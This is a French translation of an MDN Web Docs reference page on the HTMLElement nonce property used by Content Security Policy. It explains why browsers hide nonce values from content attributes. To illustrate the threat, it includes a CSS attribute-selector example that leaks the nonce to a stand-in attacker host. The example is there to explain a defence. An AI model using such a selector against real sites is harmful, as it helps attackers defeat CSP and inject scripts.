Cette page a été traduite à partir de l'anglais par la communauté. Vous pouvez contribuer en rejoignant la communauté francophone sur MDN Web Docs.

View in English Always switch to English

HTMLElement : propriété nonce

Baseline Widely available

Cette fonctionnalité est bien établie et fonctionne sur de nombreux appareils et versions de navigateurs. Elle est disponible sur tous les navigateurs depuis ⁨mars 2022⁩.

La propriété nonce de l'interface HTMLElement retourne le nombre cryptographique à usage unique utilisé par la politique de sécurité du contenu pour déterminer si une requête donnée sera autorisée à s'exécuter.

Dans les implémentations récentes, les éléments n'exposent leur attribut nonce qu'aux scripts (et non à des canaux secondaires comme les sélecteurs d'attributs CSS).

Exemples

Récupérer une valeur de nonce

Dans le passé, tous les navigateurs ne prenaient pas en charge l'attribut IDL nonce, donc une solution de contournement consistait à utiliser getAttribute comme solution de repli :

js
let nonce = script["nonce"] || script.getAttribute("nonce");

Cependant, les versions récentes des navigateurs masquent les valeurs de nonce accédées de cette façon (une chaîne vide sera retournée). La propriété IDL (script['nonce']) sera le seul moyen d'accéder aux nonces.

Le masquage du nonce aide à empêcher les attaquant·e·s d'exfiltrer la donnée via des mécanismes capables de récupérer des données à partir d'attributs de contenu, comme ce sélecteur CSS :

css
script[nonce~="nimportequoi"] {
  background: url("https://vilain.com/nonce?nimportequoi");
}

Spécifications

Specification
HTML
# dom-noncedelement-nonce

Compatibilité des navigateurs

Voir aussi